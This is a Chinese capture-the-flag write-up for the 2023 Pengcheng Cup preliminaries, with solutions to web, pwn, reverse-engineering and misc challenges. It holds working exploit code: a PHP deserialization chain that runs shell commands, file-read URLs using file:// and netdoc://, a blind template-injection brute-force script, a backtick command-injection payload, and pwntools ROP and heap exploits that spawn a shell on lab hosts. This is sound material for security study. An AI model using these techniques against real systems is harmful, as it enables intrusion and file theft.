WEB
Web-web1
代码如下
<?php
show_source(__FILE__);
error_reporting(0);
class Hacker{
private $exp;
private $cmd;
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class A
{
public $hacker;
public function __toString()
{
echo $this->hacker->name;
return "";
}
}
class C
{
public $finish;
public function __get($value)
{
$this->finish->hacker();
echo 'nonono';
}
}
class E
{
public $hacker;
public function __invoke($parms1)
{
echo $parms1;
$this->hacker->welcome();
}
}
class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class K
{
public $func;
public function __call($method,$args)
{
call_user_func($this->func,'welcome');
}
}
class R
{
private $method;
private $args;
public function welcome()
{
if ($this->key === true && $this->finish1->name) {
if ($this->finish->finish) {
call_user_func_array($this->method,$this->args);
}
}
}
}
function nonono($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["pop"];
if (isset($a)){
unserialize(nonono($a));
}
?>
很简单，指定一下路由即可，贴上exp
POP链子
new H()->__destruct()->new Hacker()->__destruct()->echo->__toString->call_user_func('system', "cat /flag");
<?php
show_source(__FILE__);
error_reporting(0);
class Hacker{
// private $exp;
// private $cmd;
//
// public function __toString()
// {
// call_user_func('system', "cat /flag");
// }
}
class A
{
public $hacker;
public function __toString()
{
echo $this->hacker->name;
return "";
}
}
class C
{
public $finish;
public function __get($value)
{
$this->finish->hacker();
echo 'nonono';
}
}
class E
{
public $hacker;
public function __invoke($parms1)
{
echo $parms1;
$this->hacker->welcome();
}
}
class H
{
public $username="admin";
public function __construct(){
$this->username = new Hacker();
}
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class K
{
public $func;
public function __call($method,$args)
{
call_user_func($this->func,'welcome');
}
}
class R
{
private $method;
private $args;
public function welcome()
{
if ($this->key === true && $this->finish1->name) {
if ($this->finish->finish) {
call_user_func_array($this->method,$this->args);
}
}
}
}
function nonono($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = new H();
echo serialize($a);
//$a = $_POST["pop"];
//if (isset($a)){
// unserialize(nonono($a));
//}
?>
Web-HTTP
Spring Boot信息泄露 netdoc协议文件包含
开局一个网站，经过分析是SpringBoot框架，上工具扫描 SpringScan.exe
找到一个敏感接口，进行访问 /swagger-ui/index.html
点击得到一个api-docs路由文件
{"openapi":"3.0.3","info":{"title":"Challenge","description":"Proxy API","version":"1.0"},"servers":[{"url":"http://172.10.0.3:8080","description":"Inferred Url"}],"tags":[{"name":"Proxy","description":"Proxy Controller"}],"paths":{"/proxy/url":{"get":{"tags":["Proxy"],"summary":"proxy for the url which submitted by user","operationId":"proxyUsingGET","parameters":[{"name":"url","in":"query","description":"url","required":false,"style":"form","schema":{"type":"string"}}],"responses":{"200":{"description":"OK","content":{"*/*":{"schema":{"type":"string","format":"byte"}}}},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}}}}},"components":{}}
继续测试，发现是存在文件包含的，exp如下
/proxy/url?url=url:file:///flag%23.html # 截断绕过
/proxy/url?url=url:netdoc:///flag%23.html
Web-Tera
描述：Tera teraa teraaa
emm，看了很久这题，Tera -> Rust SSTI
打开题目环境
传参 raw data值
附上exp，直接跑就行
import string
import requests
import time
url = "http://172.10.0.3:8081/"
str = string.hexdigits + "-+,"
zhi = "^fla.."
def fuck(p):
data = """{% set t="galf"|reverse %}{% set f=get_env(name=t,default="123") %}{% if f is matching('canshu.*') %}aaaaa{% endif %}
""".replace("canshu",p)
resp = requests.post(url,data=data)
if "aaaaa" in resp.text:
return True
return False
while True:
for i in str:
if fuck(zhi + i):
zhi += i
print(zhi)
break
if i == "+":
break
最终flag：3c8ce067-4df7-66b2-843a-04c695904159
Web-web2
打开环境
源代码有一处提示
利用glob协议写一个脚本爆破得到后面
import requests
import string
url = "http://172.10.0.5/"
str = "abcdefghijklmnopqrstuvwxyz0123456789."
path = "/var/www/html/backdoor_"
for i in range(100):
for s in str:
data = {
"filename": f"glob://{path + s}*"
}
resp = requests.post(url=url, data=data)
# print(res.text)
if "yesyesyes" in resp.text:
path += s
print(path)
break
访问得到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['username'])){
$sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title= $_GET['title'];
if (strlen($data)>5||strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title,$data);
if (strlen(file_get_contents($title)) <= 10) {
system('php '.$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}
}
else if (isset($_GET['reset'])) {
system('/bin/rm -rf ' . $sandbox);
}
}
构造payload绕过获取flag
backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=admin&title[]=2.php&data[]=<?=`tac%20/f*`;
PWN
Pwn-silent
开了沙盒，禁止了execve函数，所以我们只能orw
代码审计
非常明显的栈溢出，但是程序没有输出函数，我们可以利用magic gadget来使得stdout改写为libc中gadget syscall;ret;
然后利用libc_csu_init和read的返回数控制前三个参数和rax的值
exp：
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc-2.27.so")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name,env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("172.10.0.8",9999)
elf = ELF(name)
pop_rdi = 0x0000000000400963
start = 0x400720
csu_1 = 0x00000000040095A
'''
mov rdx, r15
mov rsi, r14
mov edi, r13d
call ds:(__frame_dummy_init_array_entry - 600D90h)[r12+rbx*8]
add rbx, 1
cmp rbp, rbx
'''
csu_2 = 0x000000000400940
'''
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
'''
get_p("./silent")
bss = 0x602100
magic = 0x00000000004007e8
leave_ret = 0x0000000000400876
stdout = 0x000000000601020
op = 0xffffffffffffffff & (0x00000000000d2625-libc.sym['_IO_2_1_stdout_'])
syscall = p64(csu_1) + p64(op) + p64(stdout+0x3d) + p64(1) + p64(0) + p64(0) + p64(0) + p64(magic)
payload = b"A"*0x48 + p64(csu_1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss-8) + p64(0x200) + p64(csu_2)
payload += p64(bss-8)*3 + p64(0)*4 + p64(leave_ret)
p.send(payload)
sleep(0.2)
payload = b"/flagx00x00x00" + syscall
payload += p64(csu_1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss+0x300) + p64(0x200) + p64(csu_2)
payload += p64(0) + p64(0) + p64(1) + p64(stdout) + p64(bss-8) + p64(0) + p64(0) + p64(csu_2)
payload += p64(0)*2 + p64(1) + p64(elf.got['read']) + p64(3) + p64(bss+0x400) + p64(0x200) + p64(csu_2)
payload += p64(0)*2 + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss+0x300) + p64(0x200) + p64(csu_2)
payload += p64(0)*2 + p64(1) + p64(stdout) + p64(1) + p64(bss+0x400) + p64(0x40) + p64(csu_2)
p.send(payload)
sleep(0.2)
p.send("x00"*2)
sleep(0.2)
# gdb.attach(p,"")
# sleep(2)
p.send("x00")
p.interactive()
Pwn-Auto_Coffee_machine
代码审计
漏洞点在admin的chang_default函数这，没有先对原来的left_coffee进行复制到copy_left_coffee，以至于我们可以利用free过的东西
思路就是我们先用admin的rep函数，将left_coffee复制到copy_left_coffee上，然后对left_coffee进行free的操作，然后就可以就可以利用UAF进行got表劫持，再利用同样的操作就可以使得coffee_list改为我们泄露的libc的地址
exp
from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name, env={"LD_PRELOAD":"./libc.so.6"})
p = remote("172.10.0.7",10001)
elf = ELF(name)
def add(size,content):
p.sendlineafter(">> ",'1')
p.sendlineafter("input your name size",str(size))
p.sendafter("input your name",content)
def edit(idx,content):
p.sendlineafter(">> ",'2')
p.sendlineafter("input index",str(idx))
p.sendlineafter("input your name size",str(len(content)))
p.sendlineafter("input your name",content)
def show(idx):
p.sendlineafter(">> ",'3')
p.sendlineafter("input index",str(idx))
def dele(idx):
p.sendlineafter(">> ",'4')
p.sendlineafter("input index",str(idx))
get_p("./babyheap")
p.recvuntil("0x")
heap_base = int(p.recv(12),16) - 0x2a0
print(hex(heap_base))
ptr = heap_base+0x2c0
add(0x408,p64(heap_base + 0x7b0)+b"A"*0x3ff+b'n')
add(0x4f8,"A"*0x4f8+'n')
add(0x408,"A"*0x407+'n')
add(0x4f8,"A"*0x4f7+'n')
add(0x408,"A"*0x407+'n')
edit(2,b"A"*0x400 + p64(0x410*2))
edit(1,b"A"*0xe0+p64(0)+p64(0x410*2+1)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)+p64(0))
dele(3)
add(0x408,"A"*0x407+"n")
show(2)
add(0x408,"A"*0x407+"n")
add(0x4f8,"A"+"n")
for i in range(7):
add(0x408,"A"*0x407+"n")
for i in range(7):
dele(7+i)
dele(5)
add(0x4f0,"An")
show(2)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x1ff0f0
print(hex(libc.address))
for i in range(8):
add(0x408,"A"*0x407+"n")
dele(0)
dele(7+7)
edit(2,p64(libc.sym['_IO_2_1_stdout_']^(heap_base+0x2a0>>12))[:6])
add(0x408,"An")
add(0x408,p64(0xFBAD1800)+p64(0)*3+p64(libc.sym['environ']) + p64(libc.sym['environ']+8)+b"n")
stack = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00"))
print(hex(stack))
target = stack - 0x128 - 0x40
# edit(5,p64(0xFBAD1800)+p64(0)*3+p64(libc.sym['environ'])[-6:])
dele(4)
dele(0)
ret = 0x0000000000026a3e + libc.address
pop_rdi = 0x0000000000028715 + libc.address
system = libc.sym['system']
one_gadget = 0x110612 + libc.address
binsh = next(libc.search(b"/bin/sh"))
edit(2,p64(target^(heap_base+0x4e0>>12)))
# p.sendlineafter(">> ",'1')
add(0x408,"An")
# gdb.attach(p,"b *$rebase(0x000000000001572)")
# sleep(2)
add(0x408,p64(0)+p64(one_gadget)+b"0"*0x200+b"n")
p.interactive()
Pwn-babyheap
代码审计
add和edit函数有off_by_null
我们利用unlink来进行堆重叠，然后进行泄露libc，这里远程需要将unsorted chunk加入进large bin来进行绕过x00截停
然后可以利用FSOP，这里可以利用多次，我选择泄露栈地址，进行ROP
exp
from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name, env={"LD_PRELOAD":"./libc.so.6"})
p = remote("172.10.0.7",10001)
elf = ELF(name)
def add(size,content):
p.sendlineafter(">> ",'1')
p.sendlineafter("input your name size",str(size))
p.sendafter("input your name",content)
def edit(idx,content):
p.sendlineafter(">> ",'2')
p.sendlineafter("input index",str(idx))
p.sendlineafter("input your name size",str(len(content)))
p.sendlineafter("input your name",content)
def show(idx):
p.sendlineafter(">> ",'3')
p.sendlineafter("input index",str(idx))
def dele(idx):
p.sendlineafter(">> ",'4')
p.sendlineafter("input index",str(idx))
get_p("./babyheap")
p.recvuntil("0x")
heap_base = int(p.recv(12),16) - 0x2a0
print(hex(heap_base))
ptr = heap_base+0x2c0
add(0x408,p64(heap_base + 0x7b0)+b"A"*0x3ff+b'n')
add(0x4f8,"A"*0x4f8+'n')
add(0x408,"A"*0x407+'n')
add(0x4f8,"A"*0x4f7+'n')
add(0x408,"A"*0x407+'n')
edit(2,b"A"*0x400 + p64(0x410*2))
edit(1,b"A"*0xe0+p64(0)+p64(0x410*2+1)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)+p64(0))
dele(3)
add(0x408,"A"*0x407+"n")
show(2)
add(0x408,"A"*0x407+"n")
add(0x4f8,"A"+"n")
for i in range(7):
add(0x408,"A"*0x407+"n")
for i in range(7):
dele(7+i)
dele(5)
add(0x4f0,"An")
show(2)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x1ff0f0
print(hex(libc.address))
for i in range(8):
add(0x408,"A"*0x407+"n")
dele(0)
dele(7+7)
edit(2,p64(libc.sym['_IO_2_1_stdout_']^(heap_base+0x2a0>>12))[:6])
add(0x408,"An")
add(0x408,p64(0xFBAD1800)+p64(0)*3+p64(libc.sym['environ']) + p64(libc.sym['environ']+8)+b"n")
stack = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00"))
print(hex(stack))
target = stack - 0x128 - 0x40
# edit(5,p64(0xFBAD1800)+p64(0)*3+p64(libc.sym['environ'])[-6:])
dele(4)
dele(0)
ret = 0x0000000000026a3e + libc.address
pop_rdi = 0x0000000000028715 + libc.address
system = libc.sym['system']
binsh = next(libc.search(b"/bin/sh"))
edit(2,p64(target^(heap_base+0x4e0>>12)))
# p.sendlineafter(">> ",'1')
add(0x408,"An")
# gdb.attach(p,"b *$rebase(0x000000000001572)")
# sleep(2)
add(0x408,p64(0)+p64(ret)+p64(pop_rdi)+p64(binsh) + p64(system)+b"n")
p.interactive()
RE
bad_pe
观察PE文件，看到有很多0x23数据，不太对劲。
尝试将整个文件的十六进制异或23
找到正确的PE文件
修复完成bad_pe文件，开始分析，直接进入main函数
动调找密文
解密
def KSA(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
keystream = PRGA(S)
return keystream
if __name__ == '__main__':
key = 'th3k3y!'
plaintext = [
0xBD, 0xF0, 0x4C, 0xD9, 0xD0, 0x29, 0xF2, 0x46,
0x08, 0xCC, 0xC8, 0x9F, 0xBE, 0x4B, 0xEF, 0x67,
0x46, 0x04, 0xE6, 0x32, 0xF3, 0xF6, 0xAA, 0xF0,
0xD1, 0xD8, 0xEC, 0x75, 0x49, 0x2F, 0xCC, 0x26,
0x2E, 0x7E, 0x63
]
key = key.encode()
keystream = RC4(key)
ciphertext = []
for b in plaintext:
ciphertext.append(chr(b ^ next(keystream)))
print("".join(ciphertext))
得到flag
flag{th3_p3fi15_1s_v3ry_nicccccc!}
安全编程
直接使用linux远程调试，可以看到程序流程为判断100次输入与程序随机生成的值，必须100次都正确，程序会自动解密encflag.png文件，生成img.png
因为是用rust语言写的，静态分析很乱，直接使用动态调试
有两个关键点
-
一个是判断输入与程序随机生成的值是否想到 -
一个是判断正确次数是否到了100次
直接patch程序，将判断次数修改成5次，手动判断正确5次即可。最终得到flag
Misc
MISC-我的壁纸
开局一张图，binwalk直接提
Flag.wav 一听就是慢扫描，直接 robot36
压缩包的底部有一串密码，
再根据文本内的空，确认为SONW隐写
Youshouldknowme.jpg 里面的属性里有密码
Jpg直接测 steghide
得到flag
MISC-流量探处
打开是一个流量包，里面有很多 udp流量，在开头流量和结尾的udp流量发现 zip特征
对比发现，12345端口的流量要反转调换，12346正常
提取对应的 no号
写脚本进行提取修改
虽然有显示损坏，但是可以用bandzip强行提取
在用 zip文件尾的密码用 deepsouls进行解码
获得一个文件，是鼠标记录
观察数据，踢去 up的记录，写脚本画图
得到flag{63c30192-a5b7-741c-60e1-45e784166b2d}
原文始发于微信公众号（ACT Team）：2023鹏程杯初赛Writeup
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